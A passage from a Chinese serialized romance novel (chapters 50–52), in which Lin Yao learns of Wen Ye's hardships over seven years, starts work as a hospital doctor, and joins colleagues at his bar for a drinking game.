“当然喜欢。”闻野毫不犹豫道。 “那你怎么不戴啊?”她不相信地问,要是她新买了喜欢的衣服,肯定出去就要穿上。 闻野笑了下:“酒吧那什么地方啊,人多又乱,我还得摇酒,我怕不小心磕坏了。” “又不是玻璃做的,哪那么容易坏。”林杳撇了撇嘴,“我想看你戴着,就算真磕坏了也没事,这不还只是一年的房租嘛,等第二年我再买只给你。” 她财大气粗地说完,默默在心底算了算自己的工资,嗯,一年下来怎么也是够买的。 闻野心跳得快了快,为着她说的第二年,哦,她在这儿不止住一年呢。 他走进房间,从抽屉里取出表盒。 身后跟着响起脚步声,他视线瞄到床头上摆着的相框,连忙将之倒扣。 说好了退回到兄妹的关系,那哥哥床头摆着和妹妹的合照,也是有点奇怪的。 房间没开灯,他动作又太快,林杳进来时根本来不及看清相框里的照片。 但他们俩并没有一张合照。 她之前生病,嫌自己瘦得太难看,一直没让他拍过照,后来她做手术,头发都剃了,他让她发照片她都没答应过,他连她一张照片也没有。 所以林杳第一反应,就是相框里的照片是他前女友的。 之所以他搞得那么慌张,是怕她这个作为前前女友的妹妹看了介意,她抿了抿唇,压下心里闷闷的情绪道:“我给你把表戴上吧。” 闻野按开台灯,向她伸出左胳膊,这会儿才反应过来自己也是心虚得过了头。 那照片里就两个模糊不清的影子,任小姑娘拿放个大镜照都看不出来是谁。 他低眸看了看腕间的手表,弯起唇角笑道:“戴手上更好看了,我妹妹眼光真不错。” 林杳勉强地牵了牵嘴角,算是回应他的这声称赞。 等闻野出门了,她拿着手机坐在客厅沙发上,挑选生活用品,心里还是有些憋闷,每过一会儿视线就忍不住朝闻野卧室瞄一眼。 在第十几次瞄过去之后,她倏地起身,拿起手机和钥匙换鞋出了门。 客厅里空气太闷了,她得出去透透气,而且再晚一点,她真的忍不住要做出侵犯他隐私的事了。 晚上七点半钟,天边还有几抹云霞,林杳慢悠悠晃荡到小区附近的一家便利超市,提着只购物篮往里面放进沐浴露洗发水这些今晚就要用到的。 走到收银台结账,收银员一个个扫完后问她要不 要袋子。 “要一个谢谢。”她说完,正要拿钱包付钱时,身旁传来一道难掩惊讶的声音。 “杳杳?!你从英国回来了啊?” 林杳循声看去,刚才身旁一直低着头看手机的女生此刻抬起了头,有几分面熟,在她还愣怔思考间,对方笑着提醒:“你不记得我了,我是谢安琪啊。” 林杳又是一愣。 谢安琪是她转学到三中的同桌,高中时两人关系十分不错,高考后还一起做过暑假兼职。 但再亲密无间的关系也会随着时间和距离变淡。 她当初考上了平城的w大,谢安琪则是去了外省读大学,大一时两人**聊天的次数就越来越少了,等后来她去了英国,基本就断了联系。 她印象里的谢安琪身材微胖,脸圆圆的,头发自然卷,脸上还有点小雀斑。 现在眼前的女生身材高挑纤细,到半腰的黑长直发,下巴尖尖的,从前让她困扰自卑的雀斑一颗也没有了,还画着精致的妆。 和从前的形象判若两人。 林杳付完钱,真心实意为她高兴,笑着道:“你变得好漂亮呀,我一下都没认出来。” 谢安琪闻言也笑了笑,只是那笑容有里夹杂着几分怅然:“好不容易变漂亮之后,才发现有时漂亮也不是万能的。” 林杳还没明白她什么意思,谢安琪目光扫到她拎着的一袋子生活用品上:“杳杳,你搬到这边来住了啊?” “对。”林杳点了点头。 两人又相互交了个微信,把各自近况说了说,但断联了太久,一下子把话说完了就没了话题。 这时微波炉叮了一声,收银员把谢安琪刚加热的一份鸡胸肉便餐拿给她,林杳于是笑着道:“那你先吃吧,我不打扰你了。” 她拎着一大袋东西走出便利店,没走几步,谢安琪追了出来,她手里还拿着没拆封的塑料餐盒。 谢安琪表情犹豫地看着她,唇角抿了抿,才似终于下定决心地问道:“杳杳,你和闻野在一起了吗?” 第50章 第五十章 后悔赌了那么久的气 知道林杳和闻野在一起又分开过的, 只有彭思嘉,谢安琪显然也不知道。 但只凭她问出的这话就够让林杳惊讶的了,因为连跟闻野走得最密切的彭一凡, 都没察觉到他们有过什么, 还只认为他们单纯的没有血缘的兄妹。 看见林杳眼中的诧异, 谢安琪笑了下,给她解释道:“高考完我不是去你家玩过几次嘛, 有次闻野也在,光看他看你那眼神,我就知道他肯定喜欢你。” 她顿了下,又坦白道:“因为我也有个暗恋了很久的男生,所以我知道看向喜欢人的眼神是什么样的。他看着你时,眼里只有你,哪怕没看你,余光也时刻跟着你走。” 林杳高考完那个暑假都没意识到自己喜欢闻野,还以为她是不正常的兄控,更加不可能察觉闻野喜欢自己。 原来……他这么就喜欢她了啊。 谢安琪看着她十分意外的表情,心里好生羡慕, 还有一点不该有的……嫉妒。 她调整好脸上的表情,扯回正题:“你还记得我高中时和你说过吧, 有次我在网吧被小混混勒索, 是闻野出手帮了我, 其实不止这次。” “我初中也是跟他一个学校的, 那会儿他成绩特别好, 次次是年级第一,长得又帅,是我们初中的风云人物了, 而我当时成绩很一般,头发是乱糟糟的自然卷,还有雀斑,总被班上一些女生针对嘲笑。有天自习课,她们闲得无聊,照着我的样子在黑板上画了个更丑的漫画,还把我名字的首字母大大地写在旁边。” “当时所有同学都在笑,闻野拿着本竞赛题从老师办公室回来,只瞄了一眼黑板,就拿起黑板擦擦了个干净,然后把那个满是粉笔灰的黑板擦扔到始作俑者,笑得最欢的那个女生身上。” “那会儿我跟他连话都没说上过几句,但他还是给我出头了,再加上高中那在网吧的那一次,加起来他帮了我两回,所以我心里一直挺感激他的。” 谢安琪轻轻舒了口气:“我刚问你闻野有没有和你在一起,就是想知道这么多年过去,他有没有得偿所愿。因为这七年里,他过得真的挺不容易的。” 林杳还记得高中时谢安琪连和闻野说句话都不好意思,一句谢谢还要拜托她来说,现在听上去和闻野像是很熟的样子。 林杳问道:“他这几年,是怎么过得啊?” 谢安琪回想着道:“五年前我大学毕业回来,到处要找工作嘛,有次临时要修改一下简历,就去了一家网吧,没想到会碰到闻野,他在那里当网管。” “我知道他刺青很厉害,开的店生意也好,怎么都想不明白他为什么会来干这个没前途又浪费他能力的工作,改完简历我没忍住就去找他了,果然他跟高中一样,对我一点印象都没有。” 谢安琪眼里闪过一抹暗淡的落寞,很快又掩饰了下去:“后来我和他说了我是你高中的同桌,他才想起我是谁来,他开口的第一句话就是问我有没有和你联系,我说没有之后他就没说话了,我鼓起勇气问他怎么没开纹身店了,他语气很淡地说了句右手废了,纹身机都拿不起来了。” “后来那段时间我经常要去网吧加班改项目,我每次都看他晚上就只吃一碗泡面,还总是吃几口就被打断,被叫去搞这搞那。” “又隔了两年,我跳槽换了工作,有时要陪客户喝酒,有次谈事情的酒吧就是‘一点半’,那会儿应该是他才盘下来这间酒吧,只有他一个调酒师,他就用一只左手一整晚一刻不停地摇,摇到腱鞘炎发作,手腕上的绷带缠了一圈又一圈。 林杳手提着的一袋子很沉,此刻却不及压在她心脏上的重量,心疼的情绪像细密的针一下下戳着心尖。 又见谢安琪笑了笑,继续道:“好在他有能力,那间酒吧在他手上越来越好,我后来再和客户过去,生意已经很火爆了,也请了几个调酒师,不需要他时刻在那儿顶着。” “只是他好像也没因此有多高兴。”谢安琪肩膀垂了垂,叹口气:“我过去酒吧那么多次,从没有在他脸上看过一次笑容。后来我想起来,他从读初中时就是又拽又酷一张冷脸了,高中时冷漠更盛,只有在你面前的时候,才会声音和表情都温柔起来。” 林杳想起今晚在他房里床头柜看到的那个相框,她觉得里面的照片很大可能是他的前女友,她当时心里很不舒服。 可现在,听完谢安琪的一番话,她却有些矛盾地希望那张相片真的是他前女友。 至少这么些年他不是那么孤独,还有个喜欢的人能陪在他身边。 “那……”林杳心头紧揪着,用涩然,微微发颤的声音问:“这几年他没有交女朋友吗?” “怎么可能?”谢安琪瞪大眼,太过不可思议,以至于一下失去了这么久在职场培养出来的表情管理能力。 “杳杳你知道的啊,闻野高中就很受女生欢迎,后来哪怕在网吧做网管,都有不少女生想要跟他认识。后来他开了酒吧,来找他搭讪的女生就更多了,我每次去都能看到。” “可是不管找他要微信 的女生有多漂亮,他从来没给过,始终就是那张面无表情的冷脸。连总跟我一起去陪客户的同事还信誓旦旦地跟我打赌,说这老板看着挺man,但绝对是个深柜。” 谢安琪说到这儿笑了起来,只是弯起的唇角衔着几分苦涩,好在夜色过暗,并不容易被发现。 “唯一一次,我看到他脸上表情出现波动,是有一晚,我下班了一个人过去放松,坐在吧台喝酒时,听到有个女生的声音和你很像,在大声和同伴说话,闻野拿着切冰块的冰锥一下偏了方向,把手指割破一道很深的口子,他跟感觉不到疼似的,脸上从未有过那么丰富的表情,震惊慌乱又隐隐透出期待。” “后来他去了酒吧后边那条小巷子,手上的伤也不处理,就蹲在个墙角抽烟,恹恹地耷拉着眉眼,一根又一根地抽。” “那种死气沉沉的状态,让我觉得,他不是活着,只是还没有死而已。” “所以我很确定地觉得,他这辈子除了你,根本不可能再喜欢上别人了。” 旁边的路灯乍然亮起,小飞蛾扑棱着翅膀在灯下飞舞,两人的脸在夜幕里清晰许多,一时相顾无言。 林杳手心早被塑料袋细细的提手勒得发红,她也跟感觉不到疼似的,她有种闷头灌了口烈酒的感觉,从嗓子到心肺都火烧火燎的刺痛。 好半晌,她才找回自己的声音,喉咙哽涩,十分感激道:“谢谢你跟我说这些。” 留意到她手里拿着的饭盒,又不好意思道:“都耽误你吃晚饭了。” “没事,我本来就不是太饿。”谢安琪摆了摆手:“我就是觉得你和闻野以前那相处的感觉,真的特别不像是兄妹,我感觉……其实你也是喜欢他的。所以我觉得这些有必要让你知道。” 谢安琪看着这位自己高中时最好的朋友,以前的那些怅然,羡慕,不甘还有那一点点微妙的嫉妒,都化作此刻脸上真心祝愿的笑容。 “我希望闻野能苦尽甘来,得偿所愿,也希望杳杳你不要错过一个这么这么爱你的人。” 林杳回到家,拎着的那一大袋子放到茶几上,跟着走到闻野卧室门口。 门是开着的,她踟蹰了几秒,还是选择违背自己一贯的道德准则,轻手轻脚地走了进去。 按开台灯之后,林杳深吸了几口气,伸手拿起还倒扣在床头柜上的那个相框,然后愣住,这张照片就两个影子。 她拿着相框又走到门边,按开卧室的大灯,在光线充裕的情况下仔细又辨认一番,那个高高的影子手里拿着圆圆的东西,应该是氢气球。 至于这两人的样子,那林杳却是一点都看不出来,她猜这个高个的影子是闻野,毕竟谁也不会把个不相干的人的照片摆在床头。 至于另一个影子是谁,她就完全无从得知了。 林杳把相框倒扣着放回原位,做贼心虚的缘故,她调整了好几遍角度,才觉得它看着像是没被动过一样。 她回到客厅,把刚买的一袋子东西拎回自己房间,洗完澡之后躺上床,谢安琪的那些话还久久萦绕在她耳边,完全没法入睡。 她越来越觉得,七年前好像不是她看到的那么回事,也越来越后悔,自己跟闻野赌了那么久的气。 这晚到凌晨一两点林杳才睡着,第二天六点多就被闹钟闹醒,今天周一,她要到医院去入职报到。 又眯了几分钟,她从床上爬起来,去卫生间洗漱,正刷着牙听到开门的动静,她牙刷还在嘴里呢,就趿着拖鞋出去。 闻野正在玄关弯身换鞋。 林杳把牙刷拿出来,嘴巴里还有泡沫,说话含糊不清的,眉眼惊讶,又染着心疼:“你一直忙到早上啊?” 她还以为酒吧的生意最多持续到凌晨两点,他也早回来睡了。 闻野本来疲惫的人在看到她时又有了些精神,他扬了扬唇:“就周末会忙到这个点,平时我两点就能回来。没事,我白天有的时间补觉。” 周末客流量大,凌晨几点还一波一波的来人,他每次都让酒吧里两个女调酒师先回去,自己和另个男调酒师守在那儿直到关门。 闻野换了拖鞋后直起身,左手勾起搁在鞋柜上的几袋子吃的,提到客厅的餐桌放下:“回来的路上我顺便买了点早餐,你先吃,吃不完的我睡醒来吃。” 林杳看着他眼下乌青的黑眼圈,想说的话又先咽了回去:“那你快去休息吧。” 她轻轻拉开椅子坐下,吃了一小半他买回的小笼包和虾饺,又把豆浆喝完,剩下的她从厨房拿来个纱罩盖上。 临走前又往他房间瞄了一眼,门还是没关,只把窗帘拉上了,半暗不亮的,他人已经睡着了。 出小区走五分钟就是地铁站,林杳上去后找了空位置坐下,身旁是几个穿着校服的高中女生,正叽叽喳喳吐槽学校的制度有多么变态,新换的班主任有多么严格。 她听得眼角轻弯了弯,还有点怀念的感觉。 “过两天七夕,我们要不要晚自习下了去江边玩啊?”有个女生提议。 另个女生响应:“好啊好啊,那天江边应该有放烟花的,我带上我的拍立得,给你们拍美照。” 林杳闻言,想起她也曾去江边看过很漂亮的烟花,那是很久很久之前的事了,还是跟着闻野彭思嘉他们一块儿去的。 尘封的记忆拥挤的车厢一点点复苏。 那会儿是她才搬来的第一年吧,跨年夜晚上,他们几个人还先去玩了当时刚时兴起来的密室逃脱。 去的路上闻野还给她买了一只小猪的氢气球呢。 林杳身体突然一僵,想起昨晚怎么都看不出来的那张照片。 原来是她。 竟真的是她。 他把一张只有她影子的合照一直摆在床边。 原来闻野喜欢她,比谢安琪说的高考完的暑假还要早,也比他在那个下着大雨把她接回去,口口声声说他就是她哥哥的那一晚要早。 可在之后两年多的时间里,他从未表露过分毫对她的好感,深深压抑着所有情感,就一直用哥哥的身份,对她要命的好。=魔.蝎.小.说.m.o.x.i.e.x.s..c.o.m &m.o.x.i.exs& 50-60 第51章 第五十一章 这不是陈澍予吗 林杳提前一刻钟到了科室, 门还没开,站着等了会儿,有个穿着白大褂, 一手拿着包子一手拎着豆浆的男医生走了过来。 苏远洲以为她是哪个病人的女儿, 是过来找医生的:“今天周一要开早会, 开完之后我们再去查房啊。” 林杳被他说得一愣,反应过来后解释道:“我是新入职的医生, 人事通知我也来参加今天的早会。” 苏远洲闻野也怔了下,忙不好意思地笑道:“我是听说我们科今天要来个新医生,没想到是你啊。” 没想到的原因主要是眼前这姑娘长得太漂亮了! 素面朝天,却肤白胜雪,五官精致又清纯,进娱乐圈当明星都能凭这张脸吸无数颜值粉,怎么都想不到她当初会选择他们这个“劝人学医天打雷劈”的专业。 : 苏远洲这么疑惑地想着,随即又想起自己另一个远在英国的那个发小,也是帅得一逼,还家财万贯呢,还不是放弃继承家业, 没苦硬吃地一路本硕博读上来。 林杳笑了笑,对他自我介绍道:“你好, 我叫林杳, 以后多多指教。” 苏远洲被她的声音拉回神, 满脸笑容:“我叫苏远洲, 以后你在科室有什么不懂的只管问我。” 说完他准备跟林杳正式地握个手, 发现自己两只手没个空的,忙把豆浆和半拉包子都扔进垃圾桶,这才跟她握了下。 他从白大褂的兜里拿出钥匙开了门, 很快其他医生和护士和药剂师都过来了,也都好奇看向林杳。 苏远洲挺热情帮她向众人介绍,这多少免去了一些林杳在个全然陌生的地方,对着十几号不认识人的尴尬。 林杳心里感谢,笑着和大家一一打过招呼。 她人长得极漂亮,又一点不恃靓生娇,说话声温软,一笑起来唇边还有两个甜得不行的梨涡,很容易让人心生亲近和喜欢感。 “我们加个微信吧,我把你拉到我们科室大群里。”一个男医生率先拿出手机对她道。 “什么拉群啊,我看徐医生你就是想要人家微信吧。”另一个女医生调侃道。 说笑声一片,直到两位副主任跟着主任走进来,大家才齐刷刷把手机揣进衣兜里,到会议桌前摆出正襟危坐的模样。 邓主任先就上周几次大型手术中的疑难病例做了总结分析,大家又轮番起来汇报自己前一周患者的收治情况,手术数量和结果。 最后轮到林杳,她把早就准备好的u盘插进墙上的大平板里,用ppt把自己前七年的学习经历和发表过的一些期刊论文做了个正式介绍。 邓主任面露满意之色,对她好生勉励了一番,点名让万副主任带她。 一个小时的晨会结束后,万副 主任对另个年轻的女医生道:“小姜医生,你先教小林医生把医院的医嘱系统学会操作。 姜思悦也是上个月才进医院,对又新来了一个同伴本就很高兴,而且她自己又是颜控,林杳长得漂亮又温柔,她更是喜欢了,几句话下来,就直接亲热地喊她杳杳了。 “杳杳,我跟你说,在我们科室有个东西你一定要看好,绝对不能离开你的视线。” 教着林杳使用电脑系统时,姜思悦神秘兮兮地向她传授自己的经验。 林杳按着鼠标的手一顿,好奇地竖起耳朵:“什么东西呀?” “笔啊!” “只要一离开你视线,准会消失不见。我之前有只皮卡丘联名的水性笔,特别可爱,好几十钱一只呢。我放在桌上,就上个厕所的功夫不见了,后来出现在万副主任的手里,再过几天又到了邓主任别着的衣兜上,我本来鼓起勇气想要回来的,但一看邓主任那张严肃的脸,我就屁都不敢放一个了呜呜呜。” 姜思悦委屈兮兮地抱怨,林杳听得莞尔,深深受教:“好,我以后一定看好我的笔。” 中午林杳和姜思悦一起到医院食堂吃饭,排队打饭时装在白大褂兜里的手机响了下,她拿出来看。 闻野:【吃午饭没啊?】 闻野:【第一天到医院还适应吗,同事好不好相处啊,没遇到特别难缠的病人吧】 林杳嘴角翘了翘,往队伍旁边站了站,拿手机对着打饭的窗口拍了张照片直接发过去。 林杳:【马上吃】 林杳:【同事都很好,今天我还在熟悉医院的系统,没给病人看诊】 林杳:【你怎么不多睡一会儿啊】 她六点半起来时,他才回来,到现在满打满算也才五个半小时。 闻野:【习惯了,睡不了那么久】 林杳想起这几年的波折坎坷,又泛起心疼来,掌心的手机震动了下,又是他的消息:【晚上几点下班啊?】 林杳只知道规定时间是五点下班,但不确定加不加班,虽说她今天不用出诊,但也不能才来第一天就第一个走吧。 正好姜思悦端着打好的一碗米线回来,她问了她之后再给闻野回复:【今天周一病人多,可能会稍微加会儿班,我大概六点钟回来】 闻野:【我等你回来吃饭】 他这条消息映入眼帘,林杳有种回到大一时的感觉,每周五他也是问她几点回,一到家迎接她的就是一桌丰盛的菜和等着她吃饭的少年。 “笑得这么开心,和男朋友聊天呀?”姜思悦八卦问道。 林杳:“……不是。” 姜思悦挤眉弄眼,一副我懂的表情:“那一定是你的crush。” 林杳唇动了动,否认的话好半天没说出口。 和估计的差不多,林杳晚上六点钟到家,拿着钥匙开了门,还在玄关换鞋就闻到了饭菜的香气。 等走进去,一下看到挂墙上的,早上她出门时还没有,这会儿凭空多出来的一个液晶电视。 闻野正好端着两碗盛好的饭出来,见她视线还愣愣地落在电视上,唇角勾了勾:“怎么,上了一天班还不饿,快去洗手吃饭啊。” 林杳“噢”了一声,趿着拖鞋去洗了个手,坐到闻野旁边的沙发,看到茶几旁搁着的外袋包装后咦了声:“还是昨天那家餐馆呀?” “嗯,你不是说还挺好吃的么,等你吃厌了和我说一声,我再换家。” 闻野今天下午也买了菜回来,试着自己做了做,本想弄到小姑娘喜欢的番茄牛腩,结果左手拿着菜刀,右手连个圆滚滚的番茄都按不住。 砧板上切得汁水漫流,一塌糊涂的玩意儿提醒着他是个残废的事实。 他于是全都倒进垃圾桶,把砧板冲洗干净,拿手机点了这家餐馆的外卖。 闻野左手拿起遥控器:“想看什么?” 林杳想了想,说了一部前几天彭思嘉疯狂给她安利,对主演的男主喊老公的那部剧。 闻野找到那部剧,又问她从哪集开始看,调到了第1集 。 两人边吃饭边看,还边说着话,主要是林杳说,基本她这一整天在医院干了什么又学了什么。 基本都是些挺枯燥无聊的日常,可她说时,闻野就会停下吃饭的动作,漆黑眼睛看着她,听得认真,嘴角还轻轻勾着。 那种满心满眼只有她的眼神,和十八岁的他看着十七岁的她时一样。 那时的她懵懂无知,现在的林杳知道这就是喜欢,还是很喜欢很喜欢的那种。 她心脏跳得快了快,又在下一秒安静地低下头来吃饭。 吃完了晚饭,闻野把茶几收拾了,脏的碗盘放进洗碗机,出来时就看到茶几上放着一盆热水,林杳拿着毛巾坐在沙发上,一副好整以待等他过来的架势。 “这是干嘛呢?”他走过去,挑眉笑了下。 林杳认真道:“你昨晚摇了一晚上酒,手腕肯定很酸,长此以往还容易得腱鞘炎,我给你热敷再按摩一下,能缓解一些。” 小姑娘本来上了一天班也累,闻野本意是不想她更累,可脑海里倏然间浮现出很久以前,在他那个小刺青店,她低头小手给他揉着手腕的模样。 他于是走过去坐下。 林杳替他去下腕间的手表,热水打湿了毛巾敷在腕骨处,怕贴不紧没效果,她手就紧紧按在毛巾上。 隔着冒热气的毛巾,也像是握着他手腕,她抬起眼睫看他:“烫不烫呀?” “不烫,很好。”闻野摇头,垂着的黑眸望着她。 两人坐得近,呼吸有一瞬挨到了,林杳偏开头,看向不知道演到哪儿的电视。 等十五分钟过去,她又顺着肌腱走向给他按摩,只是这次全程低着头。 才两三分钟,闻野便说好了,把手腕从她温软的指尖抽出,他更舍不得让她手酸。 林杳给他重新戴上那块表,闻野去倒了盆子的水,毛巾挂到卫生间,然后就又要去酒吧了。 临出门前闻野从冰箱拿出一碗舀好的西瓜,又从厨房拿了个小瓷勺,一同搁在她跟前的茶几上,还不忘叮嘱:“才拿出来的有些冰,等放一会儿你再吃。” 林杳听话地点点头,拿出电脑敲今天的工作小结,等敲完了,才伸手去端起碗,很明显是中间的部分,特别甜又脆 吃完她把碗搁回茶几,还盘腿一动不动坐着,一空下来,人又陷在纠结矛盾的情绪里。 心里的天平已经越来越偏向是闻野是骗她的,可她不敢问,万一那次他醉酒后是真的,哪怕时隔这么久,她也做不到心无芥蒂。 这个话题就像两人之间的雷池,跨过去之后,她害怕他们连现在这样的关系都没法继续维持了。 可她也明白,这种事她必须搞清楚,不能一直当埋当在沙漠的鸵鸟。 林杳盘腿坐着,手心撑着脸苦恼很半天,也想不到一个不突兀,能让她开口询问的好时机。 安静了许久的手机这时滴滴答答的响了起来。 林杳捞过来看,是后来苏远洲拉她进的那个没有主任和副主任的小群不断在弹出消息。 苏远洲:【明天七夕节,下班之后单身的同胞想出来嗨嘛,去的扣1,不去的扣1382949302939】 下一 条消息也是他的,艾特了一长串人,又在下下条单独艾特了林杳:【小林医生现在有男朋友没啊?】 林杳抿了抿嘴角,如实回了个还没有。 苏远洲:【那一块儿出来玩啊,正好借这个机会多熟悉熟悉,拉近同事距离,增强团队凝聚力】 林杳觉得他说得有道理,又是也扣了个1,之后回的1一个接一个,头像还都是男的。 苏远洲:【靠,你们要不要这么现实,知道林杳去你们一个个就屁颠颠地都来了】 苏远洲:【不过我明天也要带我发小去,海归精英,身高185,有钱又帅,完全不输你们喜欢的男明星,想认识的医生护士小姐姐们不要错过这次机会啊】 姜思悦:【苏医生真的假的/星星眼.jpg】 于薇:【听他吹牛逼吧】 苏远洲:【有图有真相的好吧】 林杳本来打算放下手机去洗澡的,摁熄屏前他发来的照片先一步弹出来,她看得愣了下。 咦,这不是陈澍予吗。 第52章 第五十二章 你是不是骗我的 因为过七夕, 才七点多钟,“一点半”酒吧里来了不少人。 气氛也很早就嗨了起来,音乐声震耳, 一波波人涌进舞池, 闻野跟两外两个酒吧在吧台前调酒。 小瑞过来端酒, 一转身惊讶道:“小雯姐你不是今天请假跟男朋友过节去了嘛,怎么又过来啦?” 另个调酒师看她打扮得漂漂亮亮, 又一肚子气的样子,眨了眨眼,试探着问:“和男朋友吵架啦?” “哼,我一登录他手机游戏,看见他每天跟个女生打匹配,一口一个妹妹的喊得亲热得很啊,气得当场跟他分了手!” 何雯扭捏着,有点不好意思又期待看着他:“野哥,那我今天的请假能不能不算了啊?” 她还想要今晚的大红包呢,如今情场失意,总不能让她钱包再受伤吧! 闻野对员工都一直挺好说话的:“行。” 何雯高兴地挤到闻野跟前:“野哥你调的是什么酒, 放着我来。” “冰岛。”闻野把手里的雪克壶给她,人手够了, 他坐到吧台旁边一个空卡座, 从兜里摸出手机。 林杳今早出门就跟他说了晚上要和科室的同事出去聚餐玩儿, 他戳进她的头像, 本来想问她去哪儿, 几点回。 他眼皮耷拉着,看着打好的一行字又觉不妥,皱眉摁着叉号全部删除。 小姑娘又不是没成年刚读大学那会儿, 她已经是个成年人了,他还问得这么细,她会不会觉得他太干涉她的私生活? 亲爹都不带管这么宽的,何况他还只是她名义上的……哥哥。 掌心里黑屏了手机突然自个儿亮起,蹦出条新消息,熟得不能再熟的那个头像:【你现在在酒吧里嘛?】 闻野眉眼一瞬间舒展:【在,怎么了?】 林杳:【我和同事们刚在附近吃完饭,他们说还要来“一点半”玩,我就想问一声你在不在?】 闻野:【几个人,我给你们留个包间】 聚餐的地和酒吧就在同一条街,是那家半夜都有人排队的小龙虾店,吃完一群人朝“一点半”酒吧的方向走过去。 姜思悦挽着林杳的胳膊,她之前去过,就走在最前边带路。 姜思悦觉得林杳刚回国,又那么乖,肯定没去过酒吧这种地方,兴致勃勃地对她介绍道:“我跟你说杳杳,我们等会儿去的这家酒吧老板长得超帅,完全不输给那些靠颜值出道的爱豆。” 说着想起什么,她皱了皱眉:“就是性格太冷冰冰了,拽了吧唧的。之前他一个单手花式摇酒的视频在网上疯传,那脸,那手,还有手臂上的青筋全都戳我一朋友的取向狙击,她就让我陪她一块来这儿。” “我朋友说实话长得真不错,从小到大都是校花呢,结果过去找他要微信,他说没有微信,找他要q.q,他说也没有,又问他要手机号,他说手机坏了,关键是刚说完,他搁吧台上的手机就响了。” “我朋友从小被男生捧惯了,就比较心高气傲,当时又喝了些酒,气不过就去质问他——” 姜思悦压着声音,又尽量去模仿好友那时气势汹汹的语气:“你眼瞎吗?老娘长得不好看吗?从小到大追我的人不要太多,都可以绕一个操场一圈了,你拽个屁啊拽。” “听完那老板抬起眼皮,看了我朋友一眼,你知道他然后说了句什么吗?” 林杳摇了摇头,好奇心被勾了起来:“什么啊?” “他说我眼不瞎,但我已经见过最好看的,其他人长得好不好看,跟我没有关系。” 姜思悦:“我朋友听完简直肺都要气炸了,杳杳你说他过不过分?” “……”林杳配合地点了点头,心脏跳得莫名快了些。 一行人走进酒吧。 “杳杳你看,吧台旁边卡座里坐着的那个就是拽了吧唧的老板。”姜思悦目光四处搜寻完,示意林杳去看。 她刚说完,就见闻野从沙发起身,径直朝她们这边走来。 姜思悦大惊失色:“难不成他还有顺风耳,我在酒吧外说的话都能听见,这是来找我算账了?” 林杳:“应该不是。” 姜思悦刚松了口气,就听身边人把剩下半句话说完:“应该是来找我的。” 姜思悦:“???!!!” 两人说话间的功夫,闻野已经走到了面前,先看向林杳,又把她身边一群同事看了看,勾着唇角对她道:“包间留好了,我带你们过去。” 其他同事以为是林杳提前预订的包间,姜思悦却觉得奇怪,她全程跟林杳一块儿,根本没听到她打电话预订啊? 而且这拽了吧唧的老板,什么时候说话声音这么温柔了,还冲她们笑了呢! 越想越不合理,直到走到包间,听到闻野道:“今晚酒水随便喝,我请客,我妹妹刚到科室,承蒙你们照顾了。” 众人都是一愣,挺意外地看看林杳,又看看闻野。 两人长得真的一点都不像,一个好乖,另个眉眼生得凌厉,哪怕客气温声说着话,也难掩身上那股野性不驯的气质。 唯一一处相同点,大概就是两人这进娱乐圈完全没问题的脸了吧。 苏远洲最先回神,他又是个自来熟的性格,几句话跟闻野攀谈起来,知道他是这家酒吧的老板,推辞不过,于是热情邀请道:“那你今晚忙不,要不跟我们一起来玩儿。” 闻野先看林杳,小姑娘轻眨着的眼睛里透出几分期待,虽然都是同事,但玩游戏输了肯定要喝酒什么的,他留在这儿看着也放心些。 “好。”他点头。 苏远洲也算是个酒吧咖了,推荐起最近玩的一款多人酒桌游戏:“我们就玩泰塔尼克号吧。” 正好服务生端来一打啤酒进来,他拿起个空杯子,往里倒进半杯酒,又把刚撬开的瓶盖倒着放进去。 “等会儿我们一个个轮流往瓶盖里倒酒,谁让这个盖子像泰坦尼克号一样沉了下去,就算输,就得接受惩罚,要么接受下一个人真心话大冒险的惩罚,要么喝酒,女生喝啤的,男生喝深水炸弹。” 比起玩腻了的摇骰子,这游戏倒新奇,又简单容易上手,大家都露出感兴趣的表情。 几个男同事把两张桌子并到一起,又把沙发围成个圈。 姜思悦扯了扯林杳的手,嘟起嘴问:“杳杳你怎么不早点跟我说他是你哥啊?” 她还一路说人家哥多拽了吧唧的,现在想想都尴尬死。 林杳也觉得是自己有点不对,主要是她和闻野现在的关系完全说是兄妹也不太对劲,道完歉想了想又道:“邓主任拿你的那只联名笔,我送你一盒,你别怪我好吗?” 姜思悦立刻笑眯眯地被哄好了。 于微还记得昨晚苏远洲在群里发的照片,质疑道:“苏医生,你那个海归精英,185又帅又有钱的朋友怎么还没来啊,不会是你随便找了张网图糊弄我们的吧?” “他飞机延误了,马上过来,要是今晚他没来,我把包间里所有剩的酒都喝了。”苏远洲放下豪言壮语,撸起袖子第一个往酒盖上倒酒。 这游戏的好玩之处就是如果你想使坏害下一个,故意多往瓶盖里倒点酒,很可能就会适得其反,让酒盖在自己手里沉下去。 于微前面的一个男同事就是 ,害人不成自己成了要受惩罚的那个。 于微可不得趁机报复回去,她眼珠子转了转:“就大冒险吧,你把你刷视频的软件打开,让我们看看你收藏夹里都是什么内容?” 林杳觉得这个惩罚还挺简单的,她收藏夹里都是些萌萌的小猫小狗,但大家的反应都很大。 “哈哈哈这也太狠了。” “这是让我们郑医生当场社死啊。” 年纪轻轻,平时看着斯文的郑医生往林杳那儿看去一眼,他明天还有早班,深水炸弹喝了睡到中午他都起不来,只能万般不情愿地把手机拿出来,点进收藏夹。 众人都凑过去看,一阵爆笑,苏远洲一点面子不留的:“郑奕你平时一本正经的,原来私底下的爱好是猫系女仆装啊。” 林杳没注意到郑医生还看了眼她,坐在她身旁的闻野倒是把这一眼看得一清二楚。 闻野沉下脸冷哼了一声。 天天看擦边小视频,还敢喜欢他妹,别说门都没有,窗户他都要给他焊死了! 游戏继续,到了闻野这时,杯子里漂浮着的杯盖已经差不多满了,摇摇晃晃的随时要翻沉下去。 他玩这个不在话下,哪怕左手都稳得很,然而他倒完就该林杳了,小姑娘明显已经提前紧张起来了,眼睛一眨不眨地睁大,呼吸似乎都屏住了。 闻野便故意放水多倒了些,杯子里的酒盖终于不堪重负,像撞了冰山的泰坦尼克一样歪沉下去。 他得接受林杳的真心话或者大冒险的惩罚。 “小林医生,”苏远洲笑眯眯道:“你可不能看他是你哥就搞个简单的惩罚,那样就算是作弊的啊。” 正有此意的林杳:“……” 她正想着,包间门被推开,大家视线下意识看过去,苏远洲哟了声率先站起来迎过去:“你可算是来了。” 苏远洲领着姗姗来迟的陈澍予走到众人面前,对着于微扬眉吐气道:“如假包换的185,这张帅脸和我照片里一模一样,怎么样,我没骗人吧。” 一众在场的女医生和女护士眼睛都亮了。 